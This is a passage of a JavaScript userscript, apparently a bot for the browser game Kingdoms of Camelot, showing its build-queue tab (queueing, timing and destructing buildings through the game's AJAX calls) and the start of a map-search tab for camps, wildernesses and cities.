        if (typeof Seed.queue_con['city' + cityId][0] != 'undefined') {
            var current_construction_pos = Seed.queue_con['city' + cityId][0][2];
        } else {
            var current_construction_pos = "";
        }
        if (loaded_bQ.length == 0 && current_construction_pos != "") { //check anyway if there is currently build in progess for this specific building
            if (current_construction_pos != 'NaN' && current_construction_pos == buildingId) {
                buildingLevel += 1;
            }
        } else {
            if (current_construction_pos != "" && current_construction_pos == buildingId) {
                buildingLevel += 1;
            }
            for (var i = 0; i < loaded_bQ.length; i++) { // check if there are already queue items for this building or the building is currently building
                var loadedCity = loaded_bQ[i].cityId;
                var loadedSlot = loaded_bQ[i].buildingPos;
                if (loadedSlot == buildingPos && loadedCity == cityId) {
                    buildingLevel += 1;
                }
                if (loaded_bQ[i].buildingMode == 'destruct' && loadedSlot == buildingPos && loadedCity == cityId) { // check if destrcution is already in queue
                    t.modalmessage(translate("Destruction already in Queue!"));
                    return;
                }
            }
        }
        if (t.currentBuildMode == "build") {
            if (buildingLevel >= t.buildStates.maxbuildlevel) {
                t.modalmessage(translate('Requested building would be beyond max allowed building level'));
                return;
            }
            var buildingMode = "build";
            var result = t.calculateQueueValues(cityId, buildingLevel, buildingType, buildingMode);
            var buildingMult = result[0];
            var buildingTime = result[1];
            var queueId = loaded_bQ.length;
            t.addQueueItem(cityId, buildingPos, buildingType, buildingId, buildingTime, buildingLevel, buildingAttempts, buildingMult, buildingMode);
            t._addTab(queueId, cityId, buildingType, buildingTime, buildingLevel, buildingAttempts, buildingMode);
        }
        if (t.currentBuildMode == "max") {
            var buildingMode = "build";
            for (var bL = buildingLevel; bL < t.buildStates.maxbuildlevel; bL++) {
                var queueId = loaded_bQ.length;
                var result = t.calculateQueueValues(cityId, bL, buildingType, buildingMode);
                var buildingMult = result[0];
                var buildingTime = result[1];
                queueId = queueId;
                t.addQueueItem(cityId, buildingPos, buildingType, buildingId, buildingTime, bL, buildingAttempts, buildingMult, buildingMode);
                t._addTab(queueId, cityId, buildingType, buildingTime, bL, buildingAttempts, buildingMode);
            }
        }
        if (t.currentBuildMode == "destruct") {
            var buildingMode = "destruct";
//            if(buildingLevel > 9) {
//            	t.modalmessage(translate('Due to building requirements (DI), buildings above level 9\nshould be manualy destructed.'));
//            	return;
//            };
            var result = t.calculateQueueValues(cityId, buildingLevel, buildingType, buildingMode);
            var buildingMult = result[0];
            var buildingTime = result[1];
            var queueId = loaded_bQ.length;
            t.addQueueItem(cityId, buildingPos, buildingType, buildingId, buildingTime, buildingLevel, buildingAttempts, buildingMult, buildingMode);
            t._addTab(queueId, cityId, buildingType, buildingTime, buildingLevel, buildingAttempts, buildingMode);
        }
		if (t.currentBuildMode == "stomp") {
			var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
			params.cityId = cityId;
			params.buildingId = buildingId;
			params.pos = buildingPos;
			params.requestType = "DESTROY_BUILDING_DRAGON_STOMP_MEDAL";
			new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/destroyBuilding.php" + unsafeWindow.g_ajaxsuffix, {
				method: "post",
				parameters: params,
				onSuccess: function(rslt){
					if (rslt.ok) {
						unsafeWindow.seed.items.i9=Number(unsafeWindow.seed.items.i9)-1;
						unsafeWindow.ksoItems[9].subtract();
						delete Seed.buildings["city"+cityId]["pos"+buildingPos];
						unsafeWindow.citysel_click(document.getElementById("citysel_"+(Cities.byID[cityId].idx+1)));
					} else {
						var errmsg = unsafeWindow.printLocalError(rslt.error_code || null, rslt.msg || null, rslt.feedback || null);
						document.getElementById('pbbuildError').innerHTML = errmsg;
					}
				},
				onFailure: function(){
					document.getElementById('pbbuildError').innerHTML = translate("Connection Error while destroying building! Please try again later");
				}
			})
		}
    },
    calculateQueueValues: function (cityId, buildingLevel, buildingType, buildingMode) {
        var t = Tabs.build;
        var now = unixTime();
        var constructionBoost = Math.min(unsafeWindow.cm.ThroneController.effectBonus(78),600);
        if (buildingMode == 'build') {
            var buildingMult = Math.pow(2, buildingLevel);
        }
        if (buildingMode == 'destruct') {
            var buildingMult = Math.pow(2, buildingLevel - 2);
        }
        var knights = Seed.knights["city" + cityId];
        if (knights) {
            var polKniId = parseInt(Seed.leaders['city' + cityId].politicsKnightId);
            if (polKniId) {
                var polValue = parseInt(Seed.knights['city' + cityId]['knt' + polKniId].politics);
                var polBoost = parseInt(Seed.knights['city' + cityId]['knt' + polKniId].politicsBoostExpireUnixtime);
                if ((polBoost - now) > 0) {
                    polValue = parseInt(polValue * 1.25);
                }
            } else {
                polValue = 0;
            }
        } else {
            polValue = 0;
        }
        var buildingTime = unsafeWindow.buildingcost["bdg" + buildingType][7] * buildingMult;
        if (parseInt(buildingType) < 6 && parseInt(buildingType) > 0 && buildingMult == 1) {
            buildingTime = 15;
        }
        if (buildingMode == 'build') {
            buildingTime = parseInt(buildingTime / (1 + 0.005 * polValue + 0.1 * parseInt(Seed.tech.tch16)));
            if (constructionBoost > 0) buildingTime = Math.round(buildingTime / (1 + (constructionBoost / 100)));
        }
        if (buildingMode == 'destruct') {
            buildingTime = buildingTime / (1 + 0.005 * polValue + 0.1 * parseInt(Seed.tech.tch16));
            if (buildingTime % 1 > 0) {
                buildingTime = parseInt(buildingTime);
            }
        }
        var result = new Array(buildingMult, buildingTime);
        return result;
    },
    
    bot_gethelp: function (f, currentcityid, time, retry) {
        var t = Tabs.build;
        var city = t.getCityNameById(currentcityid);
        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
        if (retry>3) return;  //dont want to get stuck in a loop of failures
        params.bid = f;
        params.ctrl = 'AskForHelp';
        params.action = 'getHelpData';
        new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch.php" + unsafeWindow.g_ajaxsuffix, {
            method: "post",
            parameters: params,
            onSuccess: function (rslt) {
            
                 if (rslt.updateSeed)
               unsafeWindow.update_seed(rslt.updateSeed);
                unsafeWindow.handleHelpCallback(rslt.data);
            },
            onFailure: function (rslt) {
                logit('Build help request failure, retry '+retry);
            t.bot_gethelp(f, currentcityid, time, retry+1);
                return;
            },
        });
      //only post build to FB if they take at least an hour
        if (time > 3600) {
        var a = Seed.queue_con["city" + currentcityid];
        var e = 0;
        var d = 0;
        for (var c = 0; c < a.length; c++) {
            if (parseInt(a[c][2]) == parseInt(f)) {
                e = parseInt(a[c][0]);
                d = parseInt(a[c][1]);
                break
            }
        }
        var b = new Array();
        b.push(["REPLACE_LeVeLbUiLdInG", d]);
        b.push(["REPLACE_BuIlDiNgNaMe", unsafeWindow.buildingcost["bdg" + e][0]]);
        b.push(["REPLACE_LeVeLiD", d]);
        b.push(["REPLACE_AsSeTiD", f]);
        var g = function (h, i) {
            unsafeWindow.continuation_95(h, i);
            if (!h) {
                var j = d > 1 ? unsafeWindow.cm.SpeedUpType.upgrade : unsafeWindow.cm.SpeedUpType.build;
                unsafeWindow.cm.ClientSideCookieManager.setCookie(j, false)
            }
        };
//         unsafeWindow.common_postToProfile("95", unsafeWindow.Object.cloneFeed(unsafeWindow.template_data_95), unsafeWindow.Object.cloneFeed(unsafeWindow.actionlink_data_95), g, b);
         unsafeWindow.common_postToProfile("95", b);
      }
    },
    addQueueItem: function (cityId, buildingPos, buildingType, buildingId, buildingTime, buildingLevel, buildingAttempts, buildingMult, buildingMode) {
        var t = Tabs.build;
        var lbQ = t["bQ_" + cityId];
        lbQ.push({
            cityId: cityId,
            buildingPos: buildingPos,
            buildingType: buildingType,
            buildingId: buildingId,
            buildingTime: buildingTime,
            buildingLevel: buildingLevel,
            buildingAttempts: buildingAttempts,
            buildingMult: buildingMult,
            buildingMode: buildingMode
        });
        t.modifyTotalTime(cityId, 'increase', buildingTime); //adjust total Time
    },
    modalmessage: function (message) {
        var t = Tabs.build;
        var timeout = 10000;
        var content = translate("autoclose after 10sec") + "...<br><br>"
        content += message;
        unsafeWindow.Modal.showAlert(content);
        window.setTimeout('unsafeWindow.Modal.hideModal();', timeout);
    },
    modifyTotalTime: function (cityId, type, buildingTime) {
        var t = Tabs.build;
        var element = document.getElementById('pbbuildcount_' + cityId);
        var currentCount = parseInt(element.innerHTML);
        if (type == "increase") {
            t['totalTime_' + cityId] = t['totalTime_' + cityId] + buildingTime;
            var currentCount = currentCount + 1;
        }
        if (type == "decrease") {
            t['totalTime_' + cityId] = t['totalTime_' + cityId] - buildingTime;
            var currentCount = currentCount - 1;
        }
        element.innerHTML = currentCount;
        document.getElementById('pbbuildtotal_' + cityId).innerHTML = timestr(t['totalTime_' + cityId]);
    },
    hide: function () {
        var t = Tabs.build;
        //unsafeWindow.buildslot = t.koc_buildslot; // restore original koc function
    },
    onUnload: function () {
        var t = Tabs.build;
        for (var i = 0; i < Cities.cities.length; i++) {
            //t["bQ_" + Cities.cities[i].id] = []; //clean up if needed
            if (!ResetAll) GM_setValue('bQ_' + getServerId() + '_' + Cities.cities[i].id, JSON2.stringify((t["bQ_" + Cities.cities[i].id])));
        }
        t.saveBuildStates();
    },
    _addTab: function (queueId, cityId, buildingType, buildingTime, buildingLevel, buildingAttempts, buildingMode) {
        var t = Tabs.build;
        var row = document.getElementById('pbCityQueueContent').insertRow(0);
        row.vAlign = 'top';
        row.insertCell(0).innerHTML = queueId;
        if (buildingMode == "destruct") {
            row.insertCell(1).innerHTML = '<img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/bonus_att.png">';
        } else {
            row.insertCell(1).innerHTML = '<img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/bonus_prod.png">';
        }
        row.insertCell(2).innerHTML = unsafeWindow.buildingcost['bdg' + buildingType][0];
        row.insertCell(3).innerHTML = timestr(buildingTime);
        if (buildingMode == "destruct") {
            row.insertCell(4).innerHTML = 0;
        } else {
            row.insertCell(4).innerHTML = buildingLevel + 1; // => target Level
        }
        row.insertCell(5).innerHTML = buildingAttempts;
        row.insertCell(6).innerHTML = '<a class="button20" id="queuecancel_' + queueId + '"><span>Cancel</span></a>';
        document.getElementById('queuecancel_' + queueId).addEventListener('click', function () {
            t.cancelQueueElement(queueId, cityId, buildingTime, true);
        }, false);
    },
    cancelQueueElement: function (queueId, cityId, buildingTime, showQueue) {
        var t = Tabs.build;
        var queueId = parseInt(queueId);
        t["bQ_" + cityId].splice(queueId, 1);
        t.modifyTotalTime(cityId, 'decrease', buildingTime); //adjust total Time    
        if (showQueue == true) {
            t.showBuildQueue(cityId, false);
        }
    },
    showBuildQueue: function (cityId, focus) {
        var t = Tabs.build;
        clearTimeout(t.timer);
        var popBuildQueue = null;
        var cityName = t.getCityNameById(cityId);
        if (t.popBuildQueue == null) {
            t.popBuildQueue = new pbPopup('pbbuild_' + cityId, 0, 0, 350, 500, true, function () {
                clearTimeout(t.timer);
            });
        }
        var m = '<DIV style="max-height:460px; height:460px; overflow-y:auto"><TABLE align=center cellpadding=0 cellspacing=0 width=100% class="pbTabPad" id="pbCityQueueContent">';
        t.popBuildQueue.getMainDiv().innerHTML = '</table></div>' + m;
        t.popBuildQueue.getTopDiv().innerHTML = '<TD width="200px"><B>' + translate("Build Queue of") + ' ' + cityName + '</b></td><TD><INPUT id=pbOptimizeByTime type=submit value="' + translate("Optimize by Time") + '"></td>';
        t.paintBuildQueue(cityId);
        if (focus) t.popBuildQueue.show(true);
        document.getElementById('pbOptimizeByTime').addEventListener('click', function () {
            t.clearBuildQueue();
            t.paintBuildQueue(cityId, true);
        }, false);
        t.timer = setTimeout(function () {
            t.showBuildQueue(cityId, false)
        }, 45000);
    },
    paintBuildQueue: function (cityId, optimize) {
        var t = Tabs.build;
        var lbQ = t["bQ_" + cityId];
        if (optimize == true) {
            lbQ.sort(function (a, b) {
                return a.buildingTime - b.buildingTime
            });
        }
        t["bQ_" + cityId] = lbQ;
        for (var i = 0; i < lbQ.length; i++) {
            var queueId = i;
            t._addTab(queueId, lbQ[i].cityId, lbQ[i].buildingType, lbQ[i].buildingTime, lbQ[i].buildingLevel, lbQ[i].buildingAttempts, lbQ[i].buildingMode);
        }
    },
    clearBuildQueue: function () {
        var t = Tabs.build;
        var table = document.getElementById('pbCityQueueContent');
        var rows = table.rows;
        while (rows.length)
        table.deleteRow(rows.length - 1);
    },
    getCurrentCityId: function () { // TODO maybe move as global function to the core application
        if (!unsafeWindow.currentcityid) return null;
        return unsafeWindow.currentcityid;
    },
    saveBuildStates: function () {
        var t = Tabs.build;
        var serverID = getServerId();
        GM_setValue('buildStates_' + serverID, JSON2.stringify(t.buildStates));
    },
    readBuildStates: function () {
        var t = Tabs.build;
        var serverID = getServerId();
        s = GM_getValue('buildStates_' + serverID);
        if (s != null) {
            states = JSON2.parse(s);
            for (k in states)
            t.buildStates[k] = states[k];
        }
    },
    toggleStateRunning: function (obj) {
        var t = Tabs.build;
        if (t.buildStates.running == true) {
            t.buildStates.running = false;
            t.saveBuildStates();
            obj.value = translate("Auto Build = OFF");
        } else {
            t.buildStates.running = true;
            t.saveBuildStates();
            obj.value = translate("Auto Build = ON");
        }
    },
    toggleStateMode: function (obj) {
        var t = Tabs.build;
        if (obj.value == translate('Build Mode = OFF')) {
            unsafeWindow.buildslot = t.bot_buildslot; // overwrite original koc function
            obj.value = translate("Build Mode = ON");
        } else {
            unsafeWindow.buildslot = t.koc_buildslot; // restore original koc function
            obj.value = translate("Build Mode = OFF");
        }
    },
    getCityNameById: function (cityId) {
        return Cities.byID[cityId].name;
    },
}

/********************************* Search Tab *************************************/

/***
TODO: Better search algorithm (circular OR square, always start at center, working outwards)
        Should be separate class (producer/consumer) so auto attack can use it too
**/

Tabs.Search = {
  tabOrder : 50,
  myDiv : null,
  MapAjax : new CMapAjax(),
  MAX_SHOW_WHILE_RUNNING : 250,
  popFirst : true,
  SearchList : [],
  IgAlly : [],
  dat : [],  
  
  init : function (div){
    var t = Tabs.Search;
    var Provinces = {1:{'name':"Tintagel",'x':75,'y':75},
                2:{'name':"Cornwall",'x':225,'y':75},
                3:{'name':"Astolat",'x':375,'y':75},
                4:{'name':"Lyonesse",'x':525,'y':75},
                5:{'name':"Corbenic",'x':675,'y':75},

                6:{'name':"Paimpont",'x':75,'y':225},
                7:{'name':"Cameliard",'x':225,'y':225},
                8:{'name':"Sarras",'x':375,'y':225},
                9:{'name':"Canoel",'x':525,'y':225},
                10:{'name':"Avalon",'x':675,'y':225},

                11:{'name':"Carmathen",'x':75,'y':375},
                12:{'name':"Shallot",'x':225,'y':375},
                //13:{'name':"-------",'x':375,'y':375},Search Tab
                14:{'name':"Cadbury",'x':525,'y':375},
                15:{'name':"Glastonbury",'x':675,'y':375},

                16:{'name':"Camlamn",'x':75,'y':525},
                17:{'name':"Orkney",'x':225,'y':525},
                18:{'name':"Dore",'x':375,'y':525},
                19:{'name':"Logres",'x':525,'y':525},
                20:{'name':"Caerleon",'x':675,'y':525},

                21:{'name':"Parmenie",'x':75,'y':675},
                22:{'name':"Bodmin Moor",'x':225,'y':675},
                23:{'name':"Cellwig",'x':375,'y':675},
                24:{'name':"Listeneise",'x':525,'y':675},
                25:{'name':"Albion",'x':675,'y':675}};
    t.selectedCity = Cities.cities[0];
    t.myDiv = div;
    
    m = '<DIV class=pbentry><TABLE width=100% class=pbTab><TR><TD class=pbDetLeft>'+translate("Search for")+': </td><TD width=99%>';
    m += htmlSelector ({0:translate("Barb Camp"), 1:translate("Wilderness"), 2:translate("Cities")}, Options.srctype, 'id=pasrcType');
    m += '&nbsp; &nbsp; &nbsp; <span class=pbDetLeft>'+translate("Search style")+': &nbsp;';
    m += htmlSelector({square:translate("Square"), circle:translate("Circle")}, Options.srcdisttype, 'id=pbsrcdist');
    m += '</span></td></tr><TR><TD class=pbDetLeft>'+translate("At")+': </td><TD class=xtab>X=<INPUT id=pasrchX type=text\> &nbsp;Y=<INPUT id=pasrchY type=text\>\
      &nbsp; '+translate("Radius")+': <INPUT id=pasrcDist size=3 value=10 /> &nbsp; <SPAN id=paspInXY></span></tr>\
      <TR><TD class=pbDetLeft>Or:</td><TD>'+translate("Search entire province")+': <select id="provinceXY"><option>--'+translate("provinces")+'--</option>';
    for (var i in Provinces)
        m += '<option value="'+i+'">'+Provinces[i].name+'</option>';
    m += '</select></td></tr>';
    m += '<TR><TD colspan=2 align=center><INPUT id=pasrcStart type=submit value="'+translate("Start Search")+'"/></td></tr>';
    m += '</table></div>\
        <DIV id="pasrcResults" style="height:400px; max-height:400px;"></div>';
    
    t.myDiv.innerHTML = m;
    var psearch = document.getElementById ("pasrcType");
    document.getElementById('pasrcType').addEventListener ('change', function (){
      Options.srctype = document.getElementById('pasrcType').value;
      saveOptions();
      }, false);
    new CdispCityPicker ('pasrchdcp', document.getElementById ('paspInXY'), true, t.citySelNotify).bindToXYboxes(document.getElementById ('pasrchX'), document.getElementById ('pasrchY'));
    document.getElementById ('provinceXY').addEventListener ('click', function() {
          if (this.value >= 1) {
              document.getElementById ('pasrchX').value = Provinces[this.value].x;
              document.getElementById ('pasrchY').value = Provinces[this.value].y;
              document.getElementById ('pasrcDist').value = '75';
          }
        }, false);
    document.getElementById('pbsrcdist').addEventListener ('change', function (){
      Options.srcdisttype = document.getElementById('pbsrcdist').value;
      saveOptions();
      }, false);
    document.getElementById ('pasrcStart').addEventListener ('click', t.clickedSearch, false);
    document.getElementById ('pasrchX').addEventListener ('keydown', t.e_coordChange, false);
    document.getElementById ('pasrchY').addEventListener ('keydown', t.e_coordChange, false);
    document.getElementById ('pasrcDist').addEventListener ('keydown', t.e_coordChange, false);
    document.getElementById ('pasrchY').addEventListener ('change', t.e_coordChange, false);
    document.getElementById ('pasrchY').addEventListener ('change', t.e_coordChange, false);
    unsafeWindow.pbSearchLookup = t.clickedLookup;  
    unsafeWindow.pbSearchScout = t.clickedScout;
    unsafeWindow.pbExportToRaid = t.ExportToRaid;
    unsafeWindow.ShowScoutList = t.ShowScoutList;
  },

  e_coordChange : function(){
    document.getElementById ('provinceXY').selectedIndex = 0;
  },
  
  hide : function (){
  },

  show : function (cont){
  },

  citySelNotify : function (city){
    var t = Tabs.Search;
    t.selectedCity = city;
    t.JumpCity(city.id);
  },
  
  JumpCity:function(city) {
    var t = Tabs.Search;
    for (i=0;i<Seed.cities.length;i++) {
        if (Seed.cities[i][0]==city) var cityNum=i;
    }
    cityNum++;
    var obj = document.getElementById('citysel_'+cityNum);
      return t.ClickWin(window,obj,'click');
  },
  
  ClickWin:function(win,obj,evtName) {
      var evt = win.document.createEvent("MouseEvents");
      evt.initMouseEvent(evtName, true, true, win,
          0, 0, 0, 0, 0, false, false, false, false, 0, null);
      return !obj.dispatchEvent(evt);
  },
  
  helpPop : function (){
       var helpText = translate("Raids_Help");
       helpText += '<A target="_tab" href="https://koc.wikia.com/wiki/Barbarian_Camps">A lot more can be found on Koc Wikia</a>';
       helpText += '<TABLE><TR><TD>Lvl</td><TD>Troops</td></tr>';
       helpText += '<TR><TD>1</td><TD>500 Supply Troops + 500 Archers</td></tr>';
       helpText += '<TR><TD>2</td><TD>500 Supply Troops + 2500 Archers</td></tr>';
       helpText += '<TR><TD>3</td><TD>500 Supply Troops + 5000 Archers</td></tr>';
       helpText += '<TR><TD>4</td><TD>500 Supply Troops + 7500 Archers</td></tr>';
       helpText += '<TR><TD>5</td><TD>15000 Archers</td></tr>';
       helpText += '<TR><TD>5</td><TD>12000 Archers IF Level 10 fletching and Level 9 Featherweight</td></tr>';
       helpText += '<TR><TD>6</td><TD>25000 Archers IF Level 9 fletching</td></tr>';
       helpText += '<TR><TD>6</td><TD>22000 Archers IF Level 10 fletching</td></tr>';
       helpText += '<TR><TD>7</td><TD>45000 Archers IF Level 10 fletching</td></tr>';
       helpText += '<TR><TD>7</td><TD>44000 Archers IF Level 10 fletching and knight 69+</td></tr>';
       helpText += '<TR><TD>7</td><TD>40000 Archers IF Level 10 fletching and knight 94+</td></tr>';
       helpText += '<TR><TD>8</td><TD>28000 Ballista WITH Level 10 fletching and Knight 91+</td></tr>';
       helpText += '<TR><TD>9</td><TD>56000 Ballista WITH Level 10 fletching and Knight 98+</td></tr>';
       helpText += '<TR><TD>10</td><TD>125000 Catapults (500 Catapults loss!)</td></tr></tr></table>';
  
  
       var pop = new pbPopup ('giftHelp', 0, 0, 425, 375, true);
       pop.centerMe (mainPop.getMainDiv());  
       pop.getMainDiv().innerHTML = helpText;
       pop.getTopDiv().innerHTML = '<CENTER><B>Power Bot '+translate("Help")+': '+translate("Raids")+'</b></center>';
       pop.show (true);
     },
     
     
  opt : {},
  selectedCity : null,
  searchRunning : false,
  tilesSearched : 0,
  tilesFound : 0,
  curX : 0,
  curY : 0,
  lastX : 0,
  firstX : 0,
  firstY : 0,
  lastY : 0,

  clickedSearch : function (){
    var t = Tabs.Search;

    if (t.searchRunning){
      t.stopSearch (translate('SEARCH CANCELLED!'));
      return;
    }
    t.opt.searchType = document.getElementById ('pasrcType').value;
    t.opt.startX = parseInt(document.getElementById ('pasrchX').value);
    t.opt.startY = parseInt(document.getElementById ('pasrchY').value);
    t.opt.maxDistance = parseInt(document.getElementById ('pasrcDist').value);
    t.opt.searchShape = Options.srcdisttype;
    if(t.opt.maxDistance > MAP_SFIELD){
        t.opt.searchDistance = MAP_SFIELD;
    } else {
	t.opt.searchDistance = t.opt.maxDistance
    }
    errMsg = '';

    if (isNaN (t.opt.startX) ||t.opt.startX<0 || t.opt.startX>749)
      errMsg = "X "+translate("must be between 0 and 749")+"<BR>";
    if (isNaN (t.opt.startY) ||t.opt.startY<0 || t.opt.startY>749)
      errMsg += "Y "+translate("must be between 0 and 749")+"<BR>";
    if (isNaN (t.opt.maxDistance) ||t.opt.maxDistance<1 || t.opt.maxDistance>75)
      errMsg += translate("Radius (distance) must be between")+" 1 +"+translate("and")+" 75<BR>";
    if (errMsg != ''){
      document.getElementById('pasrcResults').innerHTML = '<FONT COLOR=#660000>'+translate("ERROR")+':</font><BR><BR>'+ errMsg;
      return;
    }

    t.searchRunning = true;
    document.getElementById ('pasrcStart').value = translate('Stop Search');
    m = '<DIV class=pbStat><TABLE width=100% cellspacing=0><TR><TD class=xtab width=125><DIV id=pastatSearched></div></td>\
        <TD class=xtab align=center><SPAN style="white-space:normal" id=pastatStatus></span></td>\
        <TD class=xtab align=right width=125><DIV id=pastatFound></div></td></tr></table></div>\
          <TABLE width=100%><TR valign=top>\
            <TD width=99% style="max-width:50px"><DIV id=padivOutTab style="height:380px; max-height:380px; overflow-y:auto;"></div></td>\
            <TD align=center valign=middle><A id=pbAhideShow style="text-decoration:none; cursor:pointer;"><DIV style="width:1em; border:1px solid red; padding:10px 2px; background-color:#fee"><SPAN id=spanHideShow> '+translate("H I D E")+'</span><BR><BR> '+translate("L<BR>I<BR>S<BR>T<BR><BR> O<BR>P<BR>T<BR>I<BR>O<BR>N<BR>S")+' </div></a></td>\
            <TD width=100% height=100% style="background:#e0e0f0; height:100%; padding:5px"><DIV id=padivOutOpts></div></td>\
          </table>';
      
    document.getElementById('pasrcResults').innerHTML = m;
    if (t.opt.searchType == 0)
      var typeName = translate('Barbarians');
    else if (t.opt.searchType == 1)
      var typeName = translate('Wildernesses');
    else
      var typeName = translate('Cities');
    if (t.opt.searchShape == 'square')
      var distName = translate('Distance');
    else
      var distName = translate('Radius');
    m = '<CENTER><B>'+translate("Search for")+' '+ typeName +'<BR>\
        '+translate("Center")+': '+ t.opt.startX +','+ t.opt.startY +'  &nbsp; '+ distName +': '+ t.opt.maxDistance +'<BR></center>\
        <DIV class=pbentry><TABLE cellspacing=0 width=100%><TR align=center><TD class=xtab colspan=10><B>'+translate("LIST OPTIONS")+':</b><BR></td></tr>';
        
    if (t.opt.searchType == 1 || t.opt.searchType == 0) {
      m += '<TR><TD class=xtab align=right>'+translate("Min")+". "+translate("level to show")+':</td><TD class=xtab> <INPUT id=pafilMinLvl size=2 value='+ Options.srcMinLevel +' /></td></tr>\
        <TR><TD class=xtab align=right>'+translate("Max")+". "+translate("level to show")+':</td><TD class=xtab> <INPUT id=pafilMaxLvl size=2 value='+ Options.srcMaxLevel +' /></td></tr>';
        }
    if (t.opt.searchType == 1){
      m += '<TR><TD class=xtab align=right>'+translate("Wilderness Type")+':</td><TD class=xtab><SELECT id=pafilWildType>';
      m += htmlOptions ( {1:translate('Grassland/Lake'), 3:translate('Woodlands'), 4:translate('Hills'), 5:translate('Mountain'), 6:translate('Plain'), 8:translate('Dark Forest'), 9:translate('Ruin'), 10:translate('Merc'), 11:translate('Bog'), 0:translate('ALL')}, Options.wildType );
      m+= '</select></td></tr>';
      // m+= '<TR><TD class=xtab align=right>Grassland/Lake:</td><TD class=xtab><INPUT name=pbfil id=pafilGrass type=CHECKBOX '+ (Options.GrassOnly?' CHECKED':'') +'\><td></tr>';
      // m+= '<TR><TD class=xtab align=right>Woodlands:</td><TD class=xtab><INPUT name=pbfil id=pafilWood type=CHECKBOX '+ (Options.WoodOnly?' CHECKED':'') +'\><td></tr>';
      // m+= '<TR><TD class=xtab align=right>Hills:</td><TD class=xtab><INPUT name=pbfil id=pafilHill type=CHECKBOX '+ (Options.HillOnly?' CHECKED':'') +'\><td></tr>';
      // m+= '<TR><TD class=xtab align=right>Mountain:</td><TD class=xtab><INPUT name=pbfil id=pafilMount type=CHECKBOX '+ (Options.MountOnly?' CHECKED':'') +'\><td></tr>';
      // m+= '<TR><TD class=xtab align=right>Plain:</td><TD class=xtab><INPUT name=pbfil id=pafilPlain type=CHECKBOX '+ (Options.PlainOnly?' CHECKED':'') +'\><td></tr>';
      // m+= '<TR><TD class=xtab align=right>All:</td><TD class=xtab><INPUT name=pbfil id=pafilAll type=CHECKBOX '+ (Options.srcAll?' CHECKED':'') +'\><td></tr>';
      m += '</select></td></tr><TR><TD class=xtab align=right>'+translate("Unowned Only")+':</td><TD class=xtab><INPUT id=pafilUnowned type=CHECKBOX '+ (Options.unownedOnly?' CHECKED':'') +'\><td></tr>';
    }
   if (t.opt.searchType == 1 || t.opt.searchType == 0) {
        m+= '<TR><TD class=xtab align=right>Sort By:</td><TD class=xtab><SELECT id=pafilSortBy>\
          <OPTION value="level" '+ (Options.srcSortBy=='level'?'SELECTED':'')  +'>'+translate("Level")+'</option>\
          <OPTION value="dist" '+ (Options.srcSortBy=='dist'?'SELECTED':'')  +'>'+translate("Distance")+'</option>\
            </select></td></tr>\
            <TR><TD class=xtab align=right>'+translate("Coordinates only")+':</td><TD class=xtab><INPUT type=checkbox id=pacoordsOnly \></td></tr>\
            </table></div><BR><SPAN id=pasrchSizeWarn></span><DIV id=pbSrcExp></div>';
    } else {
        m+= '</select></td></tr><TR><TD class=xtab align=right>'+translate("Misted")+':</td><TD class=xtab><INPUT name=pbfil id=pafilMisted type=CHECKBOX '+ (Options.mistedOnly?' CHECKED':'') +'\><td></tr>';
        m+= '<TR><TD class=xtab align=right>'+translate("Hostile")+':</td><TD class=xtab><INPUT name=pbfil id=pafilHostile type=CHECKBOX '+ (Options.hostileOnly?' CHECKED':'') +'\><td></tr>';
        m+= '<TR><TD class=xtab align=right>'+translate("Friendly")+':</td><TD class=xtab><INPUT name=pbfil id=pafilFriendly type=CHECKBOX '+ (Options.friendlyOnly?' CHECKED':'') +'\><td></tr>';
        m+= '<TR><TD class=xtab align=right>'+translate("Allied")+':</td><TD class=xtab><INPUT name=pbfil id=pafilAllied type=CHECKBOX '+ (Options.alliedOnly?' CHECKED':'') +'\><td></tr>';
        m+= '<TR><TD class=xtab align=right>'+translate("Neutral")+':</td><TD class=xtab><INPUT name=pbfil id=pafilNeutral type=CHECKBOX '+ (Options.neutralOnly?' CHECKED':'') +'\><td></tr>';
        m+= '<TR><TD class=xtab align=right>'+translate("Unallianced")+':</td><TD class=xtab><INPUT name=pbfil id=pafilunAllied type=CHECKBOX '+ (Options.unalliedOnly?' CHECKED':'') +'\><td></tr>';
        m+= '<TR><TD class=xtab align=right>'+translate("All")+':</td><TD class=xtab><INPUT name=pbfil id=pafilAll type=CHECKBOX '+ (Options.srcAll?' CHECKED':'') +'\><td></tr>';
        m+= '<TR><TD class=xtab align=right>'+translate("Sort By")+':</td><TD class=xtab><SELECT id=pafilSortBy>\
          <OPTION value="might" '+ (Options.srcSortBy=='might'?'SELECTED':'')  +'>'+translate("Might")+'</option>\
             <OPTION value="dist" '+ (Options.srcSortBy=='dist'?'SELECTED':'')  +'>'+translate("Distance")+'</option>\
        </select></td></tr>\
        <TR><TD class=xtab align=right>'+translate("Min")+" "+translate("might")+':</td><TD class=xtab><INPUT type=text id=paminmight size=8 value='+ Options.minmight +'>\
        <TR><TD class=xtab align=right>'+translate("Max")+" "+translate("might")+':</td><TD class=xtab><INPUT type=text id=pamaxmight size=8 value='+ Options.maxmight +'>\
        <TR><TD class=xtab align=right>Ignore alliances ranked</td><TD class=xtab><INPUT type=text id=patopra size=4 value='+ Options.toprank +'> - <INPUT type=text id=pabotra size=4 value='+ Options.botrank +'></td>\
        <TR><TD class=xtab align=right>Alliance name</td><TD class=xtab><INPUT type=text id=pashowall size=12 value='+ Options.showalliance +'></td>\
        <TR><TD class=xtab align=right>'+translate("Coordinates only")+':</td><TD class=xtab><INPUT type=checkbox id=pacoordsOnly \></td></tr>\
        </table></div><BR><SPAN id=pasrchSizeWarn></span><DIV id=pbSrcExp></div>';
        FetchTopAlliances(Options.toprank,Options.botrank,function (e) {
         t.IgAlly = e;
         //t.dispMapTable(); required here?
      });
    
    }
    document.getElementById('padivOutOpts').innerHTML = m;
     if (t.opt.searchType == 1 || t.opt.searchType == 0) {
    document.getElementById('pafilMinLvl').addEventListener ('change', function (){
      Options.srcMinLevel = document.getElementById('pafilMinLvl').value;
      saveOptions();
      t.dispMapTable ();
      }, false);
    document.getElementById('pafilMaxLvl').addEventListener ('change', function (){
      Options.srcMaxLevel = document.getElementById('pafilMaxLvl').value;
      saveOptions();
      t.dispMapTable ();
